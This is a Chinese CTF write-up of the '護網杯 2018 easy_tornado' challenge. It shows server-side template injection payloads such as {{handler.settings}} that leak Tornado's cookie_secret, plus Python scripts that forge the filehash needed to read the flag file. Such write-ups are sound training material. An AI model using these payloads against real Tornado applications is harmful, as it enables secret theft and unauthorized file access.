簡介
原題復現:
考察知識點:模板注入
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
[護網杯 2018]easy_tornado
打開頁面發現三個鏈接依次打開 發現各自的文本

flag in /fllllllllllllag render md5(cookie_secret+md5(filename))
從上面三個信息我們的值flag在/fllllllllllllag文件 render這個卡住了看了WP 說render是模板注入,經過測試發現過濾了
payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{1*2}}

render是python中的一個渲染函數,也就是一種模板,通過調用的參數不同,生成不同的網頁 render配合Tornado使用
Tornado是一種 Web 服務器軟件的開源版本。Tornado 和現在的主流 Web 服務器框架(包括大多數 Python 的框架)有着明顯的區別:它是非阻塞式服務器,而且速度相當快。
然后就是這段代碼md5(cookie_secret+md5(filename)) 我們根據之前打開文件的url參數分析這個就是filehash的值 想獲得flag只要我們在url中傳入/fllllllllllllag文件和filehash 經過這段代碼處理的值即可關鍵就在這cookie_secret這塊 我們得想辦法獲得cookie_secret
在tornado模板中,存在一些可以訪問的快速對象,這里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,這里面就是我們的一些環境變量
通過模板注入方式我們可以構造
關於如何獲取cookie_secret是看WP的目前理解的有點混亂不清晰!!!!
payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}
成功拿到

根據獲得的cookie_secret構造md5(cookie_secret+md5(filename))這樣的py或者手動cmd5去加密
python3版本
import hashlib hash = hashlib.md5() filename='/fllllllllllllag' cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643" hash.update(filename.encode('utf-8')) s1=hash.hexdigest() hash = hashlib.md5() hash.update((cookie_secret+s1).encode('utf-8')) print(hash.hexdigest())
python2.7版本
#!-*-coding:utf-8 -*- import hashlib def md5(s): md5 = hashlib.md5() md5.update(s) print(md5.hexdigest()) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = '0567b8eb-21bc-4c25-861f-481b36239643' print(cookie_secret + md5(filename)) print(md5(cookie_secret + md5(filename))) if __name__ == '__main__': filehash()
得到加密的結果

filename拼接我們的flag文件/fllllllllllllag將加密的結果拼接在filehash的后面得到最終payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=1491d6198e0f7d246a15e40bbf00ae43
獲得flag

參考學習:
https://blog.csdn.net/ljphilp/article/details/47103745
https://www.cnblogs.com/chrysanthemum/p/11716903.html
https://darkwing.moe/2019/10/30/護網杯2018-easy-tornado/
SSTI完全學習:https://blog.csdn.net/zz_Caleb/article/details/96480967
https://www.jianshu.com/p/aef2ae0498df
https://www.cnblogs.com/20175211lyz/p/11425368.html
